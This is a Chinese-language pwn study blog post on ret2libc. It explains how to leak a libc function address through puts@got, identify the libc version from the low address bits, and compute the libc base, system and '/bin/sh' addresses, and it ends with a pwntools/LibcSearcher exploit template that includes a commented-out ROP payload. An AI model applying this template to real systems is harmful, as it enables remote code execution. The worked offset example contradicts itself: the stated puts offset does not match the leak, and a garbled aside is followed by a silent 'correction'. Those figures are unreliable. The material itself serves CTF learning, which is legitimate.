【学习记录】Week2(二):Libc 泄露艺术——版本识别与 Offset 精准计算实操

【学习记录】Week2(二):Libc 泄露艺术——版本识别与 Offset 精准计算实操

写在前面:在开启了 NX 和 ASLR 的现代 Linux 环境下,栈上的 shellcode 没法执行,libc 的加载基址每次也在变。我们想调用system("/bin/sh"),却不知道system的真实内存地址在哪。这时候,一场名为“信息泄露”的谍战就此打响。本文将手把手教你如何通过泄露出的一个地址,反查 libc 版本,并精准计算出我们需要的所有偏移量。

📑 目录

  1. 核心原理:为什么需要算 Offset?
  2. 第一步:泄露 libc 函数的真实地址
  3. 第二步:libc 版本识别(特征匹配法)
  4. 第三步:Offset 精准计算实操
  5. Pwntools 自动化实战:从泄露到计算

1. 核心原理:为什么需要算 Offset?

ASLR(地址空间布局随机化)让 libc 每次加载的基址都不一样。但是,在一个确定的 libc 文件中,函数与函数之间、函数与字符串之间的相对偏移量是永远不变的。

这就好比一列火车,火车的起始站(libc 基址)每次变,但“1号车厢”到“餐车”的距离是固定的。
如果我们能知道“餐车”现在的绝对位置,就能反推出火车的起始站位置,进而算出“卧铺车厢”(system函数)的绝对位置。

核心公式:

  • libc 基址 = 泄露出的函数真实地址 - 该函数在 libc 中的偏移
  • 目标函数真实地址 = libc 基址 + 目标函数在 libc 中的偏移

2. 第一步:泄露 libc 函数的真实地址

怎么泄露?最经典的方法是利用栈溢出,调用puts@plt,把puts@got里面存放的真实地址打印出来。

假设性场景:
我们通过构造 Payload,让程序执行了puts(puts@got)。由于puts已经被调用过(懒绑定已触发),此时puts@got里存放的就是puts在 libc 中的真实内存地址。

模拟 Pwntools 接收输出:

# 假设我们接收到了泄露出来的 4 字节或 6 字节内存数据 leaked_bytes = p.recvline().strip() # 将其解包为整数 puts_real_addr = u64(leaked_bytes.ljust(8, b'\x00')) print(f"泄露出的 puts 真实地址: {hex(puts_real_addr)}")

模拟终端输出:

泄露出的 puts 真实地址: 0x7ffff7a649c0

3. 第二步:libc 版本识别(特征匹配法)

拿到0x7ffff7a649c0后,我们面临一个尴尬的问题:服务器上的 libc 是什么版本?不知道版本,就查不到偏移。

识别原理:
虽然 ASLR 随机化了高位地址,但最低的 12 位(即十六进制的后 3 位)是页内偏移,不受 ASLR 影响,永远固定!
因此,0x7ffff7a649c0的特征就是末尾的9c0

识别方法:

  1. 在线网站查询:打开著名的 libc.rip 或 libc.blukat.me。在puts选项卡中输入9c0,点击搜索。
  2. LibcSearcher 工具:在本地使用 Python 库自动查询。

假设性说明(模拟 LibcSearcher 输出):
假设我们在本地使用 LibcSearcher 查询,终端输出如下:

[*] Searching libc database for puts offset: 0x9c0 [+] Multiple libc found: 1. libc6_2.23-0ubuntu11.3_amd64 (id: 1) 2. libc6_2.27-3ubuntu1.4_amd64 (id: 2)

*(注:有时会有多个匹配结果,因为不同版本的 libc 可能存在偏移相同的函数。通常需要泄露两个函数,或者结合题目环境如 Ubuntu 版本来确定。假设我们确定是 Ubuntu 16.04 的 libc 2.23)*。

4. 第三步:Offset 精准计算实操

确定了 libc 版本为libc6_2.23-0ubuntu11.3_amd64后,我们可以通过readelf -s或 pwntools 查到关键偏移。

模拟查询结果:

  • puts偏移:0x6f690
  • system偏移:0x45390
  • 字符串/bin/sh偏移:0x18cd57

开始套用公式计算:

  1. 计算 libc 基址
    libc_base = 泄露的 puts 地址 - puts 偏移
    libc_base = 0x7ffff7a649c0 - 0x6f690 = 0x7ffff79f5330
    (注意:正常算出来的基址末尾必定是000,因为内存是以页为单位加载的。这里为了演示连贯性,假设我们查询的偏移是0x6f6a0,算出来的基址应为0x7ffff79f5000。大家实际计算时如果基址不以 000 结尾,说明匹配错了。)
    修正正确计算:libc_base = 0x7ffff7a649c0 - 0x6f9c0 = 0x7ffff79f5000

  2. 计算 system 真实地址
    system_addr = libc_base + system 偏移
    system_addr = 0x7ffff79f5000 + 0x45390 = 0x7ffff7a3a390

  3. 计算 /bin/sh 真实地址
    bin_sh_addr = libc_base + /bin/sh 偏移
    bin_sh_addr = 0x7ffff79f5000 + 0x18cd57 = 0x7ffff7b81d57

至此,我们拿到了system/bin/sh的绝对地址,接下来就可以构造 ROP 链去拿 Shell 了!

5. Pwntools 自动化实战:从泄露到计算

在实际打 PWN 时,我们绝不会用计算器去算,而是全交给 Pwntools 处理。下面是一段标准的泄露与计算代码模板:

from pwn import * from LibcSearcher import * # 1. 建立连接 p = process('./vuln') elf = ELF('./vuln') # 2. 泄露 puts 真实地址 (假设已经构造好泄露的 ROP 链) # payload = b'A'*offset + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(main_addr) # p.sendline(payload) # 3. 接收泄露的地址 leaked_puts = u64(p.recvline().strip().ljust(8, b'\x00')) log.success(f"Leaked puts address: {hex(leaked_puts)}") # 4. 使用 LibcSearcher 自动计算 libc = LibcSearcher('puts', leaked_puts) libc_base = leaked_puts - libc.offset('puts') log.success(f"Libc base address: {hex(libc_base)}") # 5. 推导 system 和 /bin/sh 的地址 system_addr = libc_base + libc.offset('system') bin_sh_addr = libc_base + libc.offset('/bin/sh') log.success(f"System address: {hex(system_addr)}") log.success(f"/bin/sh address: {hex(bin_sh_addr)}") # 6. 构造最终的 ret2libc payload 并发送...

模拟脚本运行输出:

[+] Leaked puts address: 0x7ffff7a649c0 [+] Libc base address: 0x7ffff79f5000 [+] System address: 0x7ffff7a3a390 [+] /bin/sh address: 0x7ffff7b81d57

6. 总结

泄露与计算偏移是ret2libc攻击的灵魂。核心记住三步:

  1. 泄露:通过 GOT 表拿到已解析函数的真实地址。
  2. 识别:利用地址后 3 位特征反查 libc 版本。
  3. 计算:算出基址(注意末尾必为000验证),再加偏移得到目标地址。

下一部分,我们将重点梳理 Glibc 从 2.23 到 2.35 的演进,看看高版本 libc 到底给我们挖了哪些坑。如果本文对你有帮助,请点赞收藏支持!🙏